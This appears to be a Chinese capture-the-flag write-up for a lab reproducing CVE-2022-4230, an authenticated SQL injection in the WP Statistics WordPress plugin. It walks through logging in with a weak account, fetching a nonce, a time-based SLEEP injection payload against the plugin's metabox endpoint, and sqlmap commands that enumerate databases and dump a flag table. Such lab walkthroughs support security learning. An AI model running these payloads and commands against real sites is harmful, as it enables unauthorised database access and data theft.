春秋云境 | SQL | CVE-2022-4230

靶标介绍

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数，这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下，具有管理选项功能 (admin+) 的用户可以使用受影响的功能，但是该插件有一个设置允许低权限用户也可以访问它。

开启靶场

开启靶场之后，发现什么都没有，所以我们进行目录扫描，这里我使用的是御剑目录扫描工具

访问 license.txt 无收获，访问 resdme.html 发现以下页面

http://eci-2zejepxupyfau8prrjw3.cloudeci1.ichunqiu.com/readme.html

点击 login page，发现了一个登录页面

试了用户名和密码是 admin 之后并无发现，左下角有一个“返回到 test”，说明 test 大概率是用户，尝试登录一下

发现登录成功了

wpscan漏洞介绍

根据靶标介绍，这里有插件漏洞，链接：WP Statistics < 13.2.9 – 经过身份验证的 SQLi |CVE 2022-4230 |插件漏洞 (wpscan.com)，有兴趣可以了解下

意思大概是这样的：以允许查看WP统计信息的用户身份登录，并通过获取随机数“https://xxx.com/wp-admin/admin-ajax.php?action=rest-nonce”，并在下面的URL中使用它，该URL将延迟5s

首先通过访问，获得随机数（必须要先登录过后台才行）

http://eci-2zejepxupyfau8prrjw3.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php?action=rest-nonce

获得随机数之后，把随机数添加到下面那个 URL 中，访问一下试试，这里就不加“%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR”了，不加这条语句不影响最终结果

http://eci-2zejepxupyfau8prrjw3.cloudeci1.ichunqiu.com/wp-json/wp-statistics/v2/metabox?_wpnonce=16139d290f&name=words&search_engine=aaa

访问之后发现了这个页面，然后用 Burp 抓个包吧

把数据包复制到一个文本里，重命名为 test.txt 拖进 kali 桌面，在桌面打开终端使用 sqlmap 工具跑一下

sqlmap -r test.txt --batch --dbs

发现了 wordpress 敏感数据库

查询数据库表名

sqlmap -r test.txt --batch -D wordpress --tables

发现了一个 flag 表

查询表中字段名

sqlmap -r test.txt --batch -D wordpress -T flag --columns

发现字段名是 flag

查询字段下数据

sqlmap -r test.txt --batch -D wordpress -T flag -C flag --dump

发现了 flag